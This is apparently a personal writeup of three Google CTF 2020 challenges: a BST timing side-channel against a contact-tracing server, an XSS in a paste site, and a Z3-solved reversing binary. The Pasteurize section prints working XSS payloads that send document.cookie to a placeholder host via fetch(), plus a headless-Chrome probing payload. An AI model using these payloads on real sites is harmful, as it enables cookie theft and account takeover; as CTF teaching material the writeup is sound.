Google CTF 2020 Writeup

The Google CTF was hard, so I don’t feel so bad about only solving easy challenges. Writeup also available as a Gist.

Tracing

Type: pwn, Points: 151, Solves: 79

Intro

The challenge is a contract tracing system. The server plays the part of the contract tracing app which keeps a record of all IDs it has come into contact with. The IDs are 16 byte strings represented as UUIDs. It listens on a TCP socket for connections from the health authority, which sends lists of infected IDs. The server then checks whether any IDs it has recorded are infected.

The challenge is to force the server to disclose its IDs - one in particular will be the flag CTF{???????????}. Since it never transmits the IDs, we need to use a side-channel attack to disclose the flag.

Getting output from the server

The first problem when connecting is that there’s no response from the server, whatever you send to it.

rlwrap nc tracing.2020.ctfcompetition.com 1337

Luckily, the challenge rust code builds easily with cargo build, so you can run it and see the debug messages. Unfortunately, I still couldn’t reach the line debug!("Received {} IDs", count); until I found out that you can hangup just one side of a TCP connection. You can shutdown just the client->server side, and still receive data back from the server. In python you can use sock.shutdown(socket.SHUT_WR) and this makes the server continue past the await.

Comparison

When sent a list of IDs via the TCP socket, the server first builds a binary search tree (BST). For each ID the server has recorded, it searches for it within the BST.

BST

Let’s imagine the IDs are single bytes rather than 16 bytes. If the server receives infected IDs 25,20,30,15,27,23,55,41,67,29,24,21,10,17,26 you will end up with this beautiful balanced BST:

                 25
          ______/  \______
         /                \
        20                30
     /     \          /       \
   15       23       27       55
  /  \     /  \     /  \     /  \
 10  17   21  24   26  29   41  67

If the server wants to check whether 28 exists within the BST, it walks down from the root.

  • 28 > 25 (right)
  • 28 < 30 (left)
  • 28 > 27 (right)
  • 28 < 29 (left, not found)

For a balanced binary search tree the lookup takes time O(log(n)). However, the server builds a binary search tree which isn’t necessarily balanced. The resulting tree depends on the order which the IDs are received.

If the IDs are received in the order 10,15,17,20,21,23,24,25,26,27,29,30,41,55,67 then the BST will be super unbalanced:

10
 \
  15
   \
    17
     \
      20
      ...

A lookup for 8 will only require comparison with the root (8 < 10) since there’s nothing on the left.

A lookup for 70, will require comparisons with each item of the tree (70 > 10, 70 > 15, 70 > 17) giving the worst case lookup of O(n).

Leaking IDs

Since we, playing the role of the evil health authority, control the infected IDs sent to the server, we control the shape of the BST. By forcing a very unbalanced BST, the lookup takes much longer if the ID is on one side of the root node than the other.

If we guess a possible alphabet of !#$+-0123456789:<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ^_abcdefghijklmnopqrstuvwxyz, then to determine the character after CTF{ we start in the middle with letter Q: bisection method.

Send the root CTF{Q!!!!!!!!!!} followed by 7000 IDs as far to the right as possible to produce a tree like:

CTF{Q!!!!!!!!!!}
                 CTF{zzzzzzzzzzz}
              CTF{zzzzzzzzzzy}
           CTF{zzzzzzzzzzx}
        CTF{zzzzzzzzzzw}
     CTF{zzzzzzzzzzv}
  CTF{zzzzzzzzzzu}
  ...

Then shutdown the write side of the connection and time the duration until the server closes the connection.

def run(root, prefix, suffix, n, increase=True):
    assert len(root) == 16
    print(root, prefix, n, increase)
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(('tracing.2020.ctfcompetition.com', 1337))
    sock.send(root.encode())

    attempts = ...
    for attempt in attempts:
        sock.send(attempt)
    sock.shutdown(socket.SHUT_WR)
    data = sock.recv(4)
    start = time.time_ns()
    while data:
        data = sock.recv(1)
    end = time.time_ns()
    sock.close()
    timing = end - start
    print(timing)
    return timing

If the flag is anywhere to the right of the root, the server will have to search all the way through the 7000 IDs. If the flag is anywhere to the left of the root, the lookup will complete after just one comparison with the root.

Then make the BST weighted to the left and compare the timings. If the right-weighted tree lookup took much longer, the first character of the flag is between Q and z: we set the midpoint to h.

At some point later we have determined that the flag starts CTF{1Bi and that the next character is within qrstuvwxy. We send a right-weighted tree and it responds in 0.02ms.

CTF{1Biu!!!!!!!}
                 CTF{1Bi y zzzzzzz}
              CTF{1Bi y zzzzzzy}
           CTF{1Bi y zzzzzzx}
        CTF{1Bi y zzzzzzw}
     CTF{1Bi y zzzzzzv}
  CTF{1Bi y zzzzzzu}

And the left-weighted tree responds in 88.6ms.

                 CTF{1Biuzzzzzzz}
CTF{1Biq!!!!!!!}
   CTF{1Biq!!!!!!#}
      CTF{1Biq!!!!!!$}
         CTF{1Biq!!!!!!+}
            CTF{1Biq!!!!!!-}
               CTF{1Biq!!!!!!0}

So we guess that the character after CTF{1Bi is within qrstu (to the left).

There were some issues with getting accurate timings, especially when the midpoint was the correct letter, but with a bit of messing around we get the flag CTF{1BitAtATime}.

This was a fun challenge that just requires a little computer science.

Pasteurize

Type: web, Points: 50, Solves: 260

Let’s investigate the source code.

Source code

Body parser

/* They say reCAPTCHA needs those. But does it? */
app.use(bodyParser.urlencoded({
  extended: true
}));

Extended body parser allows sending arrays and objects as form params. You can send a=1&a=2 which makes req.body.a = ["1", "2"] (of type array instead of string as usual).

XSS in GET note

/* Make sure to properly escape the note! */
app.get('/:id([a-f0-9\-]{36})', recaptcha.middleware.render, utils.cache_mw, async (req, res) => {
  const note_id = req.params.id;
  const note = await DB.get_note(note_id);

  if (note == null) {
    return res.status(404).send("Paste not found or access has been denied.");
  }

  const unsafe_content = note.content;
  const safe_content = escape_string(unsafe_content); /***************************/

  res.render('note_public', {
    content: safe_content,
    id: note_id,
    captcha: res.recaptcha
  });
});

Let’s look at the critical escape_string method:

/* Who wants a slice? */
const escape_string = unsafe => JSON.stringify(unsafe).slice(1, -1)
  .replace(/</g, '\\x3C').replace(/>/g, '\\x3E');

How does it work with strings?

escape_string('abc')
'abc'
escape_string('a"b"c')
'a\\"b\\"c'

But because of extended bodyparser we can send arrays:

escape_string([])
''
escape_string(['a', 'b'])
'"a","b"'
escape_string([';//'])
'";//"'

Solution

The output of escape_string ends up being served within javascript surrounded by double quotes. We can break out of the double quotes by sending an array request such as:

curl -L https://pasteurize.web.ctfcompetition.com/ \
  --data "content=;function aa(d) { const e = btoa(JSON.stringify(d)); return fetch(\`https://myserver/\`) } aa(document.cookie);//&content=x"

The note contains html:

    <script>
        const note = "";function aa(d) { const e = btoa(JSON.stringify(d)); return fetch(`https://myserver/`) } aa(document.cookie);//","x"";
        const note_id = "dc8ec4b1-0c03-4887-9e9e-b4d580759138";
        const note_el = document.getElementById('note-content');
        const note_url_el = document.getElementById('note-title');
        const clean = DOMPurify.sanitize(note);
        note_el.innerHTML = clean;
        note_url_el.href = `/${note_id}`;
        note_url_el.innerHTML = `${note_id}`;
    </script>

Now we just share the note with TJMike🎤 and wait for his headless Chrome to report the base64-encoded cookie with flag back to your server.

Extra

I also tried to exploit the headless Chrome with puppet-puncher with payload

content=;var ok=0;function zzq(){if(ok){return;} ok=1; function aa(d) { const e = btoa(JSON.stringify(d)); return fetch(`https://myserver/?x=${e}`) } function rs(k, s) { aa([k, s]) } Object.keys(window).filter(function(k){return typeof window[k] == 'function'}).filter(function(k){return k.indexOf('zzq') == -1}).filter(function(k){return window[k].toString().indexOf('[bindingName]') != -1}).forEach(function(k){ const f = window[k];try{f({'toString': null, '__proto__': null}).then(function(){return f()}).then(function(f){return f([-1.3e99, 'n', null], 'hi', {'toString': null})}).then(function(r){return aa([k, r])}).catch(function(e){return rs(k, e.stack)})}catch(ee){}});aa(document.cookie)};window.onload=zzq;//&content=x

but no exposed functions were found.

Beginner

Type: reversing, Points: 50, Solves: 482

Intro

This binary verifies if a flag is correct or not. The flag isn’t inside the binary: instead you have to understand how the verification works and reverse it to make a flag which outputs SUCCESS instead of FAILURE.

Disassembly

Load it into gdb and disas main:

Dump of assembler code for function main:
   0x0000000000001080 <+0>:     push   r12
   0x0000000000001082 <+2>:     lea    rdi,[rip+0xf7b]        # 0x2004
   0x0000000000001089 <+9>:     xor    eax,eax
   0x000000000000108b <+11>:    push   rbp
   0x000000000000108c <+12>:    sub    rsp,0x28
   0x0000000000001090 <+16>:    call   0x1050 <printf@plt>
   0x0000000000001095 <+21>:    mov    r12,rsp
   0x0000000000001098 <+24>:    xor    eax,eax
   0x000000000000109a <+26>:    lea    rbp,[rsp+0x10]
   0x000000000000109f <+31>:    mov    rsi,r12
   0x00000000000010a2 <+34>:    lea    rdi,[rip+0xf62]        # 0x200b
   0x00000000000010a9 <+41>:    call   0x1060 <__isoc99_scanf@plt>
   0x00000000000010ae <+46>:    movdqa xmm0,XMMWORD PTR [rsp]
   0x00000000000010b3 <+51>:    mov    rsi,rbp
   0x00000000000010b6 <+54>:    mov    rdi,r12
   0x00000000000010b9 <+57>:    mov    edx,0x10
   0x00000000000010be <+62>:    pshufb xmm0,XMMWORD PTR [rip+0x2fa9]        # 0x4070 <SHUFFLE>
   0x00000000000010c7 <+71>:    paddd  xmm0,XMMWORD PTR [rip+0x2f91]        # 0x4060 <ADD32>
   0x00000000000010cf <+79>:    pxor   xmm0,XMMWORD PTR [rip+0x2f79]        # 0x4050 <XOR>
   0x00000000000010d7 <+87>:    movaps XMMWORD PTR [rsp+0x10],xmm0
   0x00000000000010dc <+92>:    call   0x1030 <strncmp@plt>
   0x00000000000010e1 <+97>:    test   eax,eax
   0x00000000000010e3 <+99>:    jne    0x1100 <main+128>
   0x00000000000010e5 <+101>:   mov    rsi,QWORD PTR [rip+0x2f94]        # 0x4080 <EXPECTED_PREFIX>
   0x00000000000010ec <+108>:   mov    edx,0x4
   0x00000000000010f1 <+113>:   mov    rdi,rbp
   0x00000000000010f4 <+116>:   call   0x1030 <strncmp@plt>
   0x00000000000010f9 <+121>:   mov    r12d,eax
   0x00000000000010fc <+124>:   test   eax,eax
   0x00000000000010fe <+126>:   je     0x111d <main+157>
   0x0000000000001100 <+128>:   lea    rdi,[rip+0xf11]        # 0x2018
   0x0000000000001107 <+135>:   mov    r12d,0x1
   0x000000000000110d <+141>:   call   0x1040 <puts@plt>
   0x0000000000001112 <+146>:   add    rsp,0x28
   0x0000000000001116 <+150>:   mov    eax,r12d
   0x0000000000001119 <+153>:   pop    rbp
   0x000000000000111a <+154>:   pop    r12
   0x000000000000111c <+156>:   ret
   0x000000000000111d <+157>:   lea    rdi,[rip+0xeec]        # 0x2010
   0x0000000000001124 <+164>:   call   0x1040 <puts@plt>
   0x0000000000001129 <+169>:   jmp    0x1112 <main+146>
End of assembler dump.

The key part is:

   0x00000000000010be <+62>:    pshufb xmm0,XMMWORD PTR [rip+0x2fa9]        # 0x4070 <SHUFFLE>
   0x00000000000010c7 <+71>:    paddd  xmm0,XMMWORD PTR [rip+0x2f91]        # 0x4060 <ADD32>
   0x00000000000010cf <+79>:    pxor   xmm0,XMMWORD PTR [rip+0x2f79]        # 0x4050 <XOR>
   0x00000000000010d7 <+87>:    movaps XMMWORD PTR [rsp+0x10],xmm0
   0x00000000000010dc <+92>:    call   0x1030 <strncmp@plt>

The input (flag) is placed in a 128-bit register xmm0 and 3 128-bit operations are performed:

  1. Shuffle register based on key in 0x4070 (not randomly)
  2. Add register and value in 0x4060 as 4 32-bit uints (carry bits don’t propaagate between the 4 additions)
  3. XOR with value in 0x4050

The result should equal the original input flag (strncmp).

Solution

The XOR, ADD32, SHUFFLE keys can be extracted easily. However, shuffle was a bit confusing, so I just experimented to see how input was transformed:

# Set breakpoint just after shuffle
> break *main+71
> run
Flag: abcdefghijklmnopqr
> p (char[]) $xmm0
$1 = "cghbfljod\000eikmna"

Next to find an input which remains the same at the end of the 3 transformations I used the SAT solver Z3 (pip install z3-solver).

import struct
from z3 import *

shuffle_mask = [2, 6, 7, 1, 5, 11, 9, 14, 3, 15, 4, 8, 10, 12, 13, 0]

s = Solver()

original = Ints('_a _b _c _d _e _f _g _h _i _j _k _l _m _n _o')

shuffled = [original[i] if i != 15 else IntVal(0) for i in shuffle_mask]

ADD = [0xdeadbeef, 0xfee1dead, 0x13371337, 0x67637466]

# XOR = [0x49b45876, 0x385f1a8d, 0x34f823d4, 0xaaf986eb]
XOR = [0x76, 0x58, 0xb4, 0x49, 0x8d, 0x1a, 0x5f, 0x38, 0xd4, 0x23, 0xf8, 0x34, 0xeb, 0x86, 0xf9, 0xaa]
XOR = [BitVecVal(a, 8) for a in XOR]

# Add in 4 32-bit ints
mega_add = [
    additive + sum(
        x * (1 << (8 * j)) if j > 0 else x
        for j, x in enumerate(shuffled[i*4:4*(i+1)])
    )
    for i, additive in enumerate(ADD)
]
# Split result back into 16 bytes
added = [
    Int2BV(m / (1 << (8 * i)), 8) if i > 0 else Int2BV(m, 8)
    for m in mega_add
    for i in range(4)
]

xored = [added_var ^ xor for added_var, xor in zip(added, XOR)]

outputs = list(xored)

for i, cribbed in enumerate('CTF{*********!}'):
    if cribbed != '*':
        s.add(original[i] == ord(cribbed))
        s.add(outputs[i] == ord(cribbed))
    else:
        s.add(outputs[i] == Int2BV(original[i], 8))
        s.add(original[i] >= 33)  # Guess alphabet range for flag
        s.add(original[i] <= 126)

print("LETS GO")
print(s.check())
model = s.model()
print(model)
print([hex(model.eval(i).as_long()) for i in original])
print([hex(model.eval(i).as_long()) for i in shuffled])
print([hex(model.eval(i).as_long()) for i in added])
print([hex(model.eval(i).as_long()) for i in xored])
print([hex(model.eval(i).as_long()) for i in outputs])
print("".join(chr(model.eval(i).as_long()) for i in outputs))

Which after 1 minute prints out the flag CTF{S1MDf0rM3!}.